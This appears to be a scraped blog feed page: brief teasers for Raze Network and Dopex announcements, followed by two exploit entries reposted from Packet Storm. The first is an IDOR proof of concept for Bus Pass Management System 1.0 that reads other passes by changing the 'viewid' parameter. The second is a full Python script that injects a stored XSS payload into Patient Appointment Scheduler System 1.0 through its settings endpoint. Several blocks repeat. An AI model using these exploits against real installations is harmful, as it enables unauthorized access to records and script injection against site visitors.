Raze Network Testnet Bounty Program Update
https://raze-net.medium.com/raze-network-testnet-bounty-program-update-ceb14ba9ba01?source=rss------bug_bounty-5
https://raze-net.medium.com/raze-network-testnet-bounty-program-update-ceb14ba9ba01?source=rss------bug_bounty-5
Dear Razers,Continue reading on Medium » (https://raze-net.medium.com/raze-network-testnet-bounty-program-update-ceb14ba9ba01?source=rss------bug_bounty-5)
Introducing: Single Staking Option Vaults (SSOV)
We are proud to announce the official launch of DPX Single Staking Option Vaults on the Dopex Testnet.Continue reading on Dopex »
Read more...
We are proud to announce the official launch of DPX Single Staking Option Vaults on the Dopex Testnet.Continue reading on Dopex »
Read more...
Introducing: Single Staking Option Vaults (SSOV)
https://blog.dopex.io/introducing-single-staking-option-vaults-ssov-b90bbb0a9ae5?source=rss------bug_bounty-5
https://blog.dopex.io/introducing-single-staking-option-vaults-ssov-b90bbb0a9ae5?source=rss------bug_bounty-5
We are proud to announce the official launch of DPX Single Staking Option Vaults on the Dopex Testnet.Continue reading on Dopex » (https://blog.dopex.io/introducing-single-staking-option-vaults-ssov-b90bbb0a9ae5?source=rss------bug_bounty-5)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Bus Pass Management System 1.0 Insecure Direct Object Reference
https://3.bp.blogspot.com/-5Gol6ncjvHU/WWlu6JXhP1I/AAAAAAAAIJU/-rw4_xI3A9E9PcOGmPlkULl4C62j1nBBwCLcBGAs/s1600/h108.png
Bus Pass Management System version 1.0 suffers from an insecure direct object reference vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
Bus Pass Management System 1.0 Insecure Direct Object Reference
https://3.bp.blogspot.com/-5Gol6ncjvHU/WWlu6JXhP1I/AAAAAAAAIJU/-rw4_xI3A9E9PcOGmPlkULl4C62j1nBBwCLcBGAs/s1600/h108.png
Bus Pass Management System version 1.0 suffers from an insecure direct object reference vulnerability.
MD5 |
e267ca8087f792dc662cac3d05dcc33eDownload
# Exploit Title: Bus Pass Management System 1.0 - 'viewid' Insecure direct object references (IDOR)
# Date: 2021-09-05
# Exploit Author: sudoninja
# Vendor Homepage: https://phpgurukul.com/bus-pass-management-system-using-php-and-mysql
# Software Link: https://phpgurukul.com/wp-content/uploads/2021/07/Bus-Pass-Management-System-Using-PHP-MySQL.zip
# Version: 1.0
# Tested on: Windows 10 - XAMPP Server
# Vulnerable page :
http://localhost/buspassms/admin/view-pass-detail.php?viewid=4
# Vulnerable paramater :
The viewid paramater is Vulnerable to Insecure direct object references (IDOR)
# Proof Of Concept :
# 1 . Download And install [ bus-pass-management-system ]
# 2 . Go to /admin/index.php and Enter Username & Password
# 3 . Navigate to search >> search pass
# 4 . Click on the view and enter the change viewid into the Url
Use :
http://localhost/buspassms/admin/view-pass-detail.php?viewid=[change id]
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Patient Appointment Scheduler System 1.0 Cross Site Scripting
https://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png Patient Appointment Scheduler System version 1.0 suffers from a persistent cross site scripting vulnerability.
MD5 |
Patient Appointment Scheduler System 1.0 Cross Site Scripting
https://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png Patient Appointment Scheduler System version 1.0 suffers from a persistent cross site scripting vulnerability.
MD5 |
007d9f3640e579315da75a159734c82aDownload # Exploit Title: Patient Appointment Scheduler System 1.0 - Persistent/Stored XSS
# Date: 03/09/2021
# Exploit Author: a-rey
# Vendor Homepage: https://www.sourcecodester.com/php/14928/patient-appointment-scheduler-system-using-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14928
# Version: v1.0
# Tested on: Ubuntu 20.04.3 LTS (Focal Fossa) with XAMPP 8.0.10-0
# Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Patient_Appointment_Scheduler_System/v1.0/writeup.md
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import logging
import requests
import argparse
BANNER = """
╔═══════════════════════════════════════════════════════════════════╗
║ Patient Appointment Scheduler System v1.0 - Persistent/Stored XSS ║
╚═══════════════════════════════════════════════════════════════════╝
by: \033[0m\033[1;31m █████╗ ██████╗ ███████╗██╗ ██╗\033[0m
\033[0m\033[1;32m██╔══██╗ ██╔══██╗██╔════╝██║ ██║\033[0m
\033[0m\033[1;33m███████║ ███ ██████╔╝█████╗ ██╗ ██═╝\033[0m
\033[0m\033[1;34m██╔══██║ ██╔══██╗██╔══╝ ██╔╝ \033[0m
\033[0m\033[1;35m██║ ██║ ██║ ██║███████╗ ██║ \033[0m
\033[0m\033[1;36m╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ \033[0m
"""
def exploit(url:str, file:str) -> None:
if not os.path.exists(file):
logging.error(f'{file} does not exist?')
return
logging.info(f'reading {file} for XSS content ...')
with open(file, 'r') as f:
xssPayload = f.read()
logging.info(f'sending XSS payload ({len(xssPayload)} bytes) to {url}/classes/SystemSettings.php ...')
r = requests.post(url + '/classes/SystemSettings.php',
data={'about_us' : xssPayload},
params={'f' : 'update_settings'},
verify=False
)
if not r.ok:
logging.error('HTTP request failed')
return
logging.info('checking for XSS payload on main page ...')
r = requests.get(url)
if xssPayload not in r.text:
logging.error(f'XSS injection failed? received: {r.text}')
logging.warning('maybe about.html is not writable?')
return
logging.success('XSS payload found on target website')
return
if __name__ == '__main__':
# parse arguments
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER)
parser.add_argument('-u', '--url', help='website URL', type=str, required=True)
parser.add_argument('-f', '--file', help='file with DOM content to inject', type=str, required=True)
parser.add_argument('--debug', help='enable debugging output', action='store_true', default=False)
args = parser.parse_args()
# define logger
logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO' if not args.debug else 'DEBUG')
logging.SUCCESS = logging.CRITICAL + 1
logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m')
logging.addLevelName(logging.ERROR, '\033[0m\033[1;31mFAIL\033[0m')
logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m')
logging.addLevelName(logging.INFO, '\033[0m\033[1;36mINFO\033[0m')
logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args)
# print banner
print(BANNER)
# run exploit
exploit(args.url, args.file) Source:packetstormsecurity.com